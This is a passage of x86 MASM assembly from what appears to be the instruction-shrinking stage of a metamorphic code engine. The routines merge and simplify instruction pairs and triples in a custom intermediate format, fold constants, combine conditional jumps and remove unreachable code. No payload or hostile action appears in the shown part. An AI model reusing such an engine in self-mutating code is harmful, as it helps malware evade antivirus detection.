|
mov al, [edi]
|
|
jmp @@Double_Next13_NotOPRegMem2
|
|
@@Double_Next13_NotOPRegMem:
|
|
cmp eax, 00h+80h
|
|
jb @@Double_Next13_NotOPRegMem2
|
|
cmp eax, 4Ch+80h
|
|
jbe @@Double_Next13_OPRegMem_2
|
|
@@Double_Next13_NotOPRegMem2:
|
|
cmp eax, 43h
|
|
jz @@Double_Next13_MOVMemReg
|
|
cmp eax, 0F6h
|
|
jz @@Double_Next13_MOVMemReg
|
|
cmp eax, 44h
|
|
jz @@Double_Next13_MOVMemImm
|
|
cmp eax, 0EAh
|
|
jz @@Double_Next13_CALLMem
|
|
cmp eax, 0EBh
|
|
jnz @@Double_Next14
|
|
@@Double_Next13_JMPMem:
|
|
@@Double_Next13_CALLMem:
|
|
@@Double_Next13_OPRegMem:
|
|
mov ebx, [esi+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next14
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next14
|
|
mov eax, [esi+1]
|
|
mov [edi+1], eax
|
|
mov eax, [esi+3]
|
|
mov [edi+3], eax
|
|
jmp @@Double_Next_SetNOPAt1st
|
|
@@Double_Next13_MergeMOVs:
|
|
mov ebx, [esi+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next14
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next14
|
|
mov eax, [edi+7]
|
|
mov [esi+7], eax
|
|
mov [eax+7], esi
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next13_MOVMemReg:
|
|
@@Double_Next13_MOVMemImm:
|
|
mov ebx, [esi+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next14
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jz @@Double_Next_SetNOPAt1st
|
|
|
|
@@Double_Next14:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 70h
|
|
jb @@Double_Next15
|
|
cmp eax, 7Fh
|
|
ja @@Double_Next15
|
|
mov al, [edi]
|
|
cmp eax, 0E9h
|
|
jz @@Double_Next14_CheckJMP
|
|
cmp eax, 70h
|
|
jb @@Double_Next15
|
|
cmp eax, 7Fh
|
|
ja @@Double_Next15
|
|
mov eax, [edi+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Double_Next15
|
|
mov eax, [esi]
|
|
and eax, 0Fh
|
|
mov ebx, eax
|
|
mov eax, [edi]
|
|
and eax, 0Fh
|
|
|
|
|
|
call GetRealCheck
|
|
cmp eax, 0FFh
|
|
jz @@Double_End
|
|
add eax, 70h
|
|
cmp eax, 0E9h
|
|
jz @@Double_Next32_JMP
|
|
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next14_CheckJMP:
|
|
mov eax, [edi+1]
|
|
cmp eax, [esi+1]
|
|
jz @@Double_Next_SetNOPAt1st
|
|
jmp @@Double_End
|
|
|
|
@@Double_Next15:
|
|
@@Double_Next16:
|
|
@@Double_Next17:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 0E0h
|
|
jnz @@Double_Next18
|
|
mov ebx, 0E4h
|
|
xor ecx, ecx
|
|
mov edx, 1
|
|
@@Double_Next_Check_NOT_OP:
|
|
xor eax, eax
|
|
mov al, [edi]
|
|
cmp eax, ebx
|
|
jz @@Double_Next17_ADDReg
|
|
cmp eax, ecx
|
|
jnz @@Double_End
|
|
@@Double_Next17_NEGReg:
|
|
mov eax, [esi+1]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_End
|
|
@@Double_Next17_NEGReg_2:
|
|
test ebx, 2
|
|
jz @@Double_Next17_Get32
|
|
xor eax, eax
|
|
mov al, [edi+7]
|
|
cmp eax, 80h
|
|
jb @@Double_Next17_Cont00
|
|
add eax, 0FFFFFF00h
|
|
jmp @@Double_Next17_Cont00
|
|
@@Double_Next17_Get32:
|
|
mov eax, [edi+7]
|
|
@@Double_Next17_Cont00:
|
|
cmp eax, edx
|
|
jnz @@Double_End
|
|
mov eax, ebx
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next17_ADDReg:
|
|
mov eax, [esi+1]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_End
|
|
@@Double_Next17_ADDReg_2:
|
|
mov eax, edx
|
|
mov [esi+7], eax
|
|
mov eax, ecx
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next18:
|
|
cmp eax, 0E2h
|
|
jnz @@Double_Next19
|
|
mov ebx, 0E6h
|
|
mov ecx, 80h
|
|
mov edx, 1
|
|
jmp @@Double_Next_Check_NOT_OP
|
|
|
|
@@Double_Next19:
|
|
cmp eax, 0E4h
|
|
jnz @@Double_Next20
|
|
mov ebx, 0E0h
|
|
xor ecx, ecx
|
|
mov edx, -1
|
|
jmp @@Double_Next_Check_NOT_OP
|
|
|
|
@@Double_Next20:
|
|
cmp eax, 0E6h
|
|
jnz @@Double_Next21
|
|
mov ebx, 0E2h
|
|
mov ecx, 80h
|
|
mov edx, -1
|
|
jmp @@Double_Next_Check_NOT_OP
|
|
|
|
@@Double_Next21:
|
|
cmp eax, 0E1h
|
|
jnz @@Double_Next22
|
|
mov ebx, 0E5h
|
|
mov ecx, 4
|
|
mov edx, 1
|
|
@@Double_Next_Check_NOT_OP_Mem:
|
|
xor eax, eax
|
|
mov al, [edi]
|
|
cmp eax, ebx
|
|
jz @@Double_Next21_ADDMem
|
|
cmp eax, ecx
|
|
jnz @@Double_End
|
|
@@Double_Next21_NEGMem:
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_End
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_End
|
|
xor eax, eax
|
|
jmp @@Double_Next17_NEGReg_2
|
|
@@Double_Next21_ADDMem:
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_End
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_End
|
|
xor eax, eax
|
|
jmp @@Double_Next17_ADDReg_2
|
|
|
|
@@Double_Next22:
|
|
cmp eax, 0E3h
|
|
jnz @@Double_Next23
|
|
mov ebx, 0E7h
|
|
mov ecx, 84h
|
|
mov edx, 1
|
|
jmp @@Double_Next_Check_NOT_OP_Mem
|
|
|
|
@@Double_Next23:
|
|
cmp eax, 0E5h
|
|
jnz @@Double_Next24
|
|
mov ebx, 0E1h
|
|
mov ecx, 4
|
|
mov edx, -1
|
|
jmp @@Double_Next_Check_NOT_OP_Mem
|
|
|
|
@@Double_Next24:
|
|
cmp eax, 0E7h
|
|
jnz @@Double_Next25
|
|
mov ebx, 0E3h
|
|
mov ecx, 84h
|
|
mov edx, -1
|
|
jmp @@Double_Next_Check_NOT_OP_Mem
|
|
|
|
@@Double_Next25:
|
|
@@Double_Next26:
|
|
@@Double_Next27:
|
|
@@Double_Next28:
|
|
@@Double_Next29:
|
|
cmp eax, 0EAh
|
|
jnz @@Double_Next30
|
|
@@Double_Next29_CheckAPICALL_STORE:
|
|
mov al, [edi]
|
|
cmp eax, 43h
|
|
jnz @@Double_End
|
|
mov al, [edi+7]
|
|
or eax, eax
|
|
jnz @@Double_End
|
|
mov eax, 0F6h
|
|
mov [edi], al
|
|
xor eax, eax
|
|
mov [edi+7], eax
|
|
jmp @@EndCompressed
|
|
|
|
@@Double_Next30:
|
|
cmp eax, 0ECh
|
|
jz @@Double_Next29_CheckAPICALL_STORE
|
|
|
|
@@Double_Next31:
|
|
cmp eax, 42h
|
|
jnz @@Double_Next32
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 20h
|
|
jz @@Double_Next31_MaybeMOVZX
|
|
mov al, [esi+7]
|
|
cmp eax, 2
|
|
ja @@Double_Next32
|
|
cmp al, [edi+1]
|
|
jnz @@Double_Next32
|
|
mov al, [edi]
|
|
cmp eax, 0ECh
|
|
jnz @@Double_Next32
|
|
sub eax, 2
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next31_MaybeMOVZX:
|
|
mov eax, [edi+7]
|
|
cmp eax, 0FFh
|
|
jnz @@Double_Next32
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next32
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, ebx
|
|
jz @@Double_Next32
|
|
mov eax, [esi+2]
|
|
and eax, 0Fh
|
|
cmp eax, ebx
|
|
jz @@Double_Next32
|
|
mov eax, 0F8h
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
|
|
@@Double_Next32:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 39h
|
|
jnz @@Double_Next33
|
|
@@Double_Next32_Common:
|
|
mov al, [edi]
|
|
cmp eax, 70h
|
|
jb @@Double_End
|
|
cmp eax, 7Fh
|
|
ja @@Double_End
|
|
mov al, [esi+1]
|
|
mov ebx, eax
|
|
mov al, [esi+7]
|
|
cmp eax, ebx
|
|
jnz @@Double_End
|
|
|
|
mov eax, [edi]
|
|
and eax, 07h
|
|
cmp eax, 1
|
|
jz @@Double_Next32_JMP
|
|
cmp eax, 6
|
|
jz @@Double_Next32_JMP
|
|
mov eax, [edi]
|
|
and eax, 0Fh
|
|
cmp eax, 2
|
|
jbe @@Double_Next32_NOP
|
|
cmp eax, 4
|
|
jbe @@Double_Next32_JMP
|
|
cmp eax, 0Ah
|
|
jz @@Double_Next32_JMP
|
|
cmp eax, 0Dh
|
|
jz @@Double_Next32_JMP
|
|
@@Double_Next32_NOP:
|
|
mov eax, 0FFh
|
|
mov [edi], eax
|
|
jmp @@EndCompressed
|
|
@@Double_Next32_JMP:
|
|
mov eax, 0E9h
|
|
mov [edi], al
|
|
mov edx, edi
|
|
|
|
@@Double_Next32_EliminateNonReachableCode:
|
|
add edx, 10h
|
|
cmp edx, [ebp+AddressOfLastInstruction]
|
|
jae @@EndCompressed
|
|
mov al, [edx+0Bh]
|
|
or eax, eax
|
|
jnz @@EndCompressed
|
|
mov eax, 0FFh
|
|
mov [edx], eax
|
|
jmp @@Double_Next32_EliminateNonReachableCode
|
|
|
|
|
|
@@Double_Next33:
|
|
cmp eax, 39h+80h
|
|
jz @@Double_Next32_Common
|
|
|
|
@@Double_End:
|
|
|
|
|
|
@@Check_Triple:
|
|
mov edx, esi
|
|
mov esi, edi
|
|
call IncreaseEIP
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndNoCompressed
|
|
xor eax, eax
|
|
mov al, [edi+0Bh]
|
|
or eax, eax
|
|
jnz @@EndNoCompressed
|
|
|
|
@@Triple_Next00:
|
|
mov al, [edx]
|
|
cmp eax, 43h
|
|
jnz @@Triple_Next01
|
|
mov eax, [edx+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_Next01
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_Next01
|
|
mov eax, [edi]
|
|
cmp al, 42h
|
|
jz @@Triple_Next00_Constr00
|
|
cmp al, 70h
|
|
jb @@Triple_Next01
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next01
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
or eax, eax
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 28h
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 38h
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 48h
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 20h
|
|
jnz @@Triple_End
|
|
@@Triple_Next00_Maybe01:
|
|
xor ebx, ebx
|
|
@@Triple_Next00_CheckCMPTEST:
|
|
mov eax, [esi]
|
|
and eax, 07Fh
|
|
cmp eax, 48h
|
|
jb @@Triple_Next00_CheckCMPTEST_00
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jz @@Triple_Next00_CMPTESTRegReg
|
|
jmp @@Triple_Next00_CheckCMPTEST_01
|
|
@@Triple_Next00_CheckCMPTEST_00:
|
|
and eax, 7
|
|
cmp eax, 3
|
|
jz @@Triple_Next00_CMPTESTRegReg
|
|
@@Triple_Next00_CheckCMPTEST_01:
|
|
cmp eax, 4
|
|
jnz @@Triple_End
|
|
@@Triple_Next00_CMPTESTRegImm:
|
|
mov eax, [edx+7]
|
|
mov [esi+1], al
|
|
@@Triple_Next00_SET_CMPTEST:
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 48h
|
|
jz @@Triple_Next00_SetInstruction
|
|
cmp eax, 20h
|
|
jz @@Triple_Next00_Cont80
|
|
cmp eax, 38h
|
|
jz @@Triple_Next00_SetInstruction
|
|
or eax, eax
|
|
jz @@Triple_Next00_NegateImm
|
|
@@Triple_Next00_SetCMP:
|
|
mov eax, 38h
|
|
jmp @@Triple_Next00_SetInstruction
|
|
@@Triple_Next00_NegateImm:
|
|
mov eax, [esi+7]
|
|
neg eax
|
|
mov [esi+7], eax
|
|
jmp @@Triple_Next00_SetCMP
|
|
@@Triple_Next00_Cont80:
|
|
mov eax, 48h
|
|
@@Triple_Next00_SetInstruction:
|
|
add eax, ebx
|
|
mov [esi], al
|
|
mov eax, 0FFh
|
|
mov [edx], al
|
|
jmp @@EndCompressed
|
|
@@Triple_Next00_CMPTESTRegReg:
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
or eax, eax
|
|
jz @@Triple_End
|
|
mov eax, [esi+7]
|
|
mov [esi+1], al
|
|
mov eax, [edx+7]
|
|
mov [esi+7], al
|
|
add ebx, 1
|
|
jmp @@Triple_Next00_SET_CMPTEST
|
|
@@Triple_Next00_Constr00:
|
|
mov eax, [esi]
|
|
cmp al, 4Ch
|
|
ja @@Triple_Next01
|
|
xor ebx, ebx
|
|
@@Triple_Next00_Common:
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 48h
|
|
jb @@Triple_Next00_Common_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jz @@Triple_Next00_Maybe00
|
|
jmp @@Triple_Next00_Common_01
|
|
@@Triple_Next00_Common_00:
|
|
mov eax, [esi]
|
|
and al, 7
|
|
cmp al, 3
|
|
jz @@Triple_Next00_Maybe00
|
|
@@Triple_Next00_Common_01:
|
|
cmp al, 4
|
|
jnz @@Triple_End
|
|
@@Triple_Next00_Maybe00:
|
|
mov eax, [edx+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+1]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+3]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+7]
|
|
cmp al, [edi+7]
|
|
jnz @@Triple_End
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 48h
|
|
jb @@Triple_Next00_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jz @@Triple_Next00_Maybe_OPRegReg
|
|
jmp @@Triple_Next00_01
|
|
@@Triple_Next00_00:
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 3
|
|
jz @@Triple_Next00_Maybe_OPRegReg
|
|
@@Triple_Next00_01:
|
|
mov eax, [edx+7]
|
|
mov [edx+1], al
|
|
mov eax, [esi+7]
|
|
mov [edx+7], eax
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
add eax, ebx
|
|
@@Triple_Next_SetInstruction:
|
|
mov [edx], al
|
|
@@Triple_Next_SetNOP:
|
|
mov eax, 0FFh
|
|
mov [esi], al
|
|
mov [edi], al
|
|
jmp @@EndCompressed
|
|
@@Triple_Next00_Maybe_OPRegReg:
|
|
mov eax, [esi+7]
|
|
mov [edx+1], eax
|
|
mov eax, [edi+7]
|
|
mov [edx+7], eax
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
add eax, 1
|
|
jmp @@Triple_Next_SetInstruction
|
|
|
|
|
|
@@Triple_Next01:
|
|
mov eax, [edx]
|
|
cmp al, 43h+80h
|
|
jnz @@Triple_Next02
|
|
mov eax, [edx+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_Next02
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_Next02
|
|
mov eax, [edi]
|
|
cmp al, 42h+80h
|
|
jz @@Triple_Next01_Constr00
|
|
cmp al, 70h
|
|
jb @@Triple_Next02
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next02
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
cmp eax, 00h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 28h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 38h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 48h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 20h+80h
|
|
jnz @@Triple_End
|
|
@@Triple_Next01_Maybe01:
|
|
mov ebx, 80h
|
|
jmp @@Triple_Next00_CheckCMPTEST
|
|
@@Triple_Next01_Constr00:
|
|
mov ebx, 80h
|
|
mov eax, [esi]
|
|
cmp al, 4Ch+80h
|
|
ja @@Triple_Next02
|
|
cmp al, 00h+80h
|
|
jae @@Triple_Next00_Common
|
|
|
|
@@Triple_Next02:
|
|
mov eax, [edx]
|
|
cmp al, 4Fh
|
|
jnz @@Triple_Next03
|
|
mov eax, [edi]
|
|
cmp al, 70h
|
|
jb @@Triple_Next02_ContCheck
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next02_ContCheck
|
|
mov ebx, [edx+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_End
|
|
mov eax, [ebx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 20h
|
|
jz @@Triple_Next02_CheckCMPTESTMemReg
|
|
cmp eax, 28h
|
|
jz @@Triple_Next02_CheckCMPTESTMemReg
|
|
cmp eax, 38h
|
|
jz @@Triple_Next02_CheckCMPTESTMemReg
|
|
cmp eax, 48h
|
|
jnz @@Triple_Next03
|
|
@@Triple_Next02_CheckCMPTESTRegMem:
|
|
@@Triple_Next02_CheckCMPTESTMemReg:
|
|
mov eax, [edx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edx+3]
|
|
mov [esi+3], eax
|
|
mov eax, 0FFh
|
|
mov [edx], eax
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 38h
|
|
jz @@EndCompressed
|
|
cmp eax, 48h
|
|
jz @@EndCompressed
|
|
cmp eax, 20h
|
|
jz @@Triple_Next02_SetTEST
|
|
mov ebx, 10h
|
|
@@Triple_Next02_ConvertInstruction:
|
|
mov eax, [esi]
|
|
add eax, ebx
|
|
mov [esi], eax
|
|
jmp @@EndCompressed
|
|
@@Triple_Next02_SetTEST:
|
|
mov ebx, 28h
|
|
jmp @@Triple_Next02_ConvertInstruction
|
|
@@Triple_Next02_ContCheck:
|
|
cmp al, 4Fh
|
|
jnz @@Triple_Next03
|
|
mov eax, [esi]
|
|
cmp al, 4Ch
|
|
jbe @@Triple_Next02_CommonOperation
|
|
cmp al, 00h+80h
|
|
jb @@Triple_Next03
|
|
cmp al, 4Ch+80h
|
|
ja @@Triple_Next03
|
|
@@Triple_Next02_CommonOperation:
|
|
cmp eax, 0F6h
|
|
jz @@Triple_Next02_OPMemReg
|
|
and eax, 78h
|
|
cmp eax, 48h
|
|
jb @@Triple_Next02_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jz @@Triple_Next02_OPMemReg
|
|
jmp @@Triple_Next02_01
|
|
@@Triple_Next02_00:
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 3
|
|
jz @@Triple_Next02_OPMemReg
|
|
@@Triple_Next02_01:
|
|
cmp eax, 4
|
|
jnz @@Triple_End
|
|
@@Triple_Next02_OPMemImm:
|
|
@@Triple_Next02_OPMemReg:
|
|
mov ebx, [edx+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Triple_End
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_End
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Triple_End
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
mov ebx, [edi+7]
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edx+1]
|
|
jnz @@Triple_End
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edx+3]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edx+3]
|
|
mov [esi+3], eax
|
|
@@Triple_Next_SetNOP_1_3:
|
|
mov eax, 0FFh
|
|
mov [edx], al
|
|
mov [edi], al
|
|
jmp @@EndCompressed
|
|
|
|
|
|
@@Triple_Next03:
|
|
mov eax, [edx]
|
|
cmp al, 44h
|
|
jnz @@Triple_Next04
|
|
mov eax, [edi]
|
|
cmp al, 42h
|
|
jz @@Triple_Next03_Constr00
|
|
cmp al, 70h
|
|
jb @@Triple_Next04
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next04
|
|
mov eax, [esi]
|
|
@@Triple_Next03_Check_CMP_TEST:
|
|
cmp al, 3Ah
|
|
jz @@Triple_Next03_CMPRegImm
|
|
cmp al, 4Ah
|
|
jnz @@Triple_End
|
|
@@Triple_Next03_CMPRegImm:
|
|
@@Triple_Next03_TESTRegImm:
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
mov [edx], al
|
|
mov eax, [esi+7]
|
|
mov [edx+1], al
|
|
mov eax, 0FFh
|
|
mov [esi], al
|
|
jmp @@EndCompressed
|
|
@@Triple_Next03_Constr00:
|
|
mov eax, [esi]
|
|
cmp eax, 0F6h
|
|
jz @@Triple_Next03_Common_F6
|
|
cmp al, 4Ch
|
|
ja @@Triple_Next04
|
|
@@Triple_Next03_Common:
|
|
and eax, 78h
|
|
cmp eax, 48h
|
|
jb @@Triple_Next03_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jz @@Triple_Next03_Common_F6
|
|
jmp @@Triple_End
|
|
@@Triple_Next03_00:
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 3
|
|
jnz @@Triple_End
|
|
@@Triple_Next03_Common_F6:
|
|
mov eax, [edx+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+1]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+3]
|
|
jnz @@Triple_End
|
|
mov eax, [esi+7]
|
|
mov [edx+1], eax
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
jmp @@Triple_Next_SetInstruction
|
|
|
|
|
|
@@Triple_Next04:
|
|
mov eax, [edx]
|
|
cmp al, 44h+80h
|
|
jnz @@Triple__Next04
|
|
mov eax, [edi]
|
|
cmp al, 42h+80h
|
|
jz @@Triple_Next04_Constr00
|
|
cmp al, 70h
|
|
jb @@Triple__Next04
|
|
cmp al, 7Fh
|
|
ja @@Triple__Next04
|
|
mov eax, [esi]
|
|
sub al, 80h
|
|
jmp @@Triple_Next03_Check_CMP_TEST
|
|
@@Triple_Next04_Constr00:
|
|
mov eax, [esi]
|
|
cmp al, 00h+80h
|
|
jb @@Triple__Next04
|
|
cmp al, 4Ch+80h
|
|
jbe @@Triple_Next03_Common
|
|
|
|
@@Triple__Next04:
|
|
|
|
|
|
@@Triple_End:
|
|
jmp @@EndNoCompressed
|
|
|
|
@@EndCompressed:
|
|
mov eax, 1
|
|
pop edi
|
|
ret
|
|
@@EndNoCompressed:
|
|
xor eax, eax
|
|
pop edi
|
|
ret
|
|
ShrinkThisInstructions endp
|
|
|
|
OrderRegs proc
|
|
push edx
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 8
|
|
jnz @@_Next
|
|
mov eax, [edi+2]
|
|
and eax, 0FFh
|
|
cmp eax, 7
|
|
ja @@_End
|
|
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax
|
|
mov eax, [edi+2]
|
|
and eax, 0FFFFFF00h
|
|
add eax, 8
|
|
mov [edi+2], eax
|
|
@@_End: pop edx
|
|
ret
|
|
|
|
@@_Next: mov eax, [edi+2]
|
|
mov edx, [edi+1]
|
|
and eax, 0FFh
|
|
and edx, 0FFh
|
|
cmp eax, edx
|
|
ja @@_End
|
|
push eax
|
|
mov edx, [edi+2]
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+2], eax
|
|
pop eax
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax
|
|
pop edx
|
|
ret
|
|
OrderRegs endp
|
|
|
|
CalculateOperation proc
|
|
and ebx, 0FFh
|
|
and eax, 0FFh
|
|
cmp ebx, 40h
|
|
jz @@Eliminate1st
|
|
cmp eax, 40h
|
|
jz @@MOV
|
|
or eax, eax
|
|
jz @@ADD
|
|
cmp eax, 8
|
|
jz @@OR
|
|
cmp eax, 20h
|
|
jz @@AND
|
|
cmp eax, 28h
|
|
jz @@SUB
|
|
cmp eax, 30h
|
|
jz @@XOR
|
|
cmp eax, 38h
|
|
jz @@Eliminate1st
|
|
cmp eax, 48h
|
|
jnz @@Eliminate1st
|
|
jmp @@NoCompression
|
|
|
|
@@ADD: or ebx, ebx
|
|
jz @@ADD_ADD
|
|
cmp ebx, 28h
|
|
jz @@ADD_SUB
|
|
jmp @@NoCompression
|
|
|
|
@@OR: cmp ebx, 8
|
|
jz @@OR_OR
|
|
jmp @@NoCompression
|
|
|
|
@@AND: cmp ebx, 20h
|
|
jz @@AND_AND
|
|
jmp @@NoCompression
|
|
|
|
@@SUB: or ebx, ebx
|
|
jz @@SUB_ADD
|
|
cmp ebx, 28h
|
|
jnz @@NoCompression
|
|
@@SUB_SUB: neg ecx
|
|
sub ecx, edx
|
|
xor eax, eax
|
|
ret
|
|
@@SUB_ADD: sub edx, ecx
|
|
mov ecx, edx
|
|
xor eax, eax
|
|
ret
|
|
|
|
@@XOR: cmp ebx, 30h
|
|
jz @@XOR_XOR
|
|
jmp @@NoCompression
|
|
|
|
@@MOV: or ebx, ebx
|
|
jz @@MOV_ADD
|
|
cmp ebx, 8
|
|
jz @@MOV_OR
|
|
cmp ebx, 20h
|
|
jz @@MOV_AND
|
|
cmp ebx, 28h
|
|
jz @@MOV_SUB
|
|
cmp ebx, 30h
|
|
jz @@MOV_XOR
|
|
@@NoCompression:
|
|
mov eax, 0FEh
|
|
ret
|
|
@@Eliminate1st:
|
|
mov eax, 0FFh
|
|
ret
|
|
|
|
@@ADD_ADD:
|
|
@@MOV_ADD: add ecx, edx
|
|
ret
|
|
@@OR_OR:
|
|
@@MOV_OR: or ecx, edx
|
|
ret
|
|
@@AND_AND:
|
|
@@MOV_AND: and ecx, edx
|
|
ret
|
|
@@ADD_SUB:
|
|
@@MOV_SUB: sub ecx, edx
|
|
ret
|
|
@@XOR_XOR:
|
|
@@MOV_XOR: xor ecx, edx
|
|
ret
|
|
CalculateOperation endp
|
|
|
|
|
|
GetRealCheck proc
|
|
cmp eax, ebx
|
|
jb @@1
|
|
mov ecx, ebx
|
|
mov edx, eax
|
|
jmp @@2
|
|
@@1: mov ecx, eax
|
|
mov edx, ebx
|
|
@@2: test ecx, 1 ; ECX <= EDX
|
|
jnz @@NoUnconditional
|
|
sub edx, 1
|
|
cmp ecx, edx
|
|
jz @@UnconditionalJump
|
|
add edx, 1
|
|
@@NoUnconditional:
|
|
cmp ecx, edx
|
|
jz @@ReturnCurrent
|
|
cmp ecx, 2
|
|
jz @@Check2_x
|
|
cmp ecx, 3
|
|
jz @@Check3_x
|
|
cmp ecx, 4
|
|
jz @@Check4_x
|
|
cmp ecx, 5
|
|
jnz @@NoOption
|
|
|
|
@@Check5_x:
|
|
cmp edx, 7
|
|
jz @@SetNE
|
|
cmp edx, 6
|
|
jz @@UnconditionalJump
|
|
jmp @@NoOption
|
|
|
|
|
|
@@Check2_x:
|
|
cmp edx, 4
|
|
jb @@NoOption
|
|
cmp edx, 7
|
|
ja @@NoOption
|
|
test edx, 1
|
|
jnz @@SetNE
|
|
jmp @@SetBE
|
|
|
|
|
|
@@Check3_x:
|
|
cmp edx, 4
|
|
jz @@SetNB
|
|
cmp edx, 7
|
|
jz @@SetNB
|
|
cmp edx, 6
|
|
jz @@UnconditionalJump
|
|
jmp @@NoOption
|
|
|
|
|
|
@@Check4_x:
|
|
cmp edx, 6
|
|
jz @@SetBE
|
|
cmp edx, 7
|
|
jnz @@NoOption
|
|
|
|
|
|
@@SetNB: mov eax, 3
|
|
ret
|
|
@@SetNE: mov eax, 5
|
|
ret
|
|
@@SetBE: mov eax, 6
|
|
ret
|
|
@@NoOption:
|
|
mov eax, 0FFh
|
|
@@ReturnCurrent:
|
|
ret
|
|
@@UnconditionalJump:
|
|
mov eax, 79h
|
|
ret
|
|
GetRealCheck endp
|
|
|
|
|
|
CheckIfInstructionUsesMem proc
|
|
cmp eax, 4Eh
|
|
jbe @@Common
|
|
cmp eax, 4Fh
|
|
jz @@UsesMem
|
|
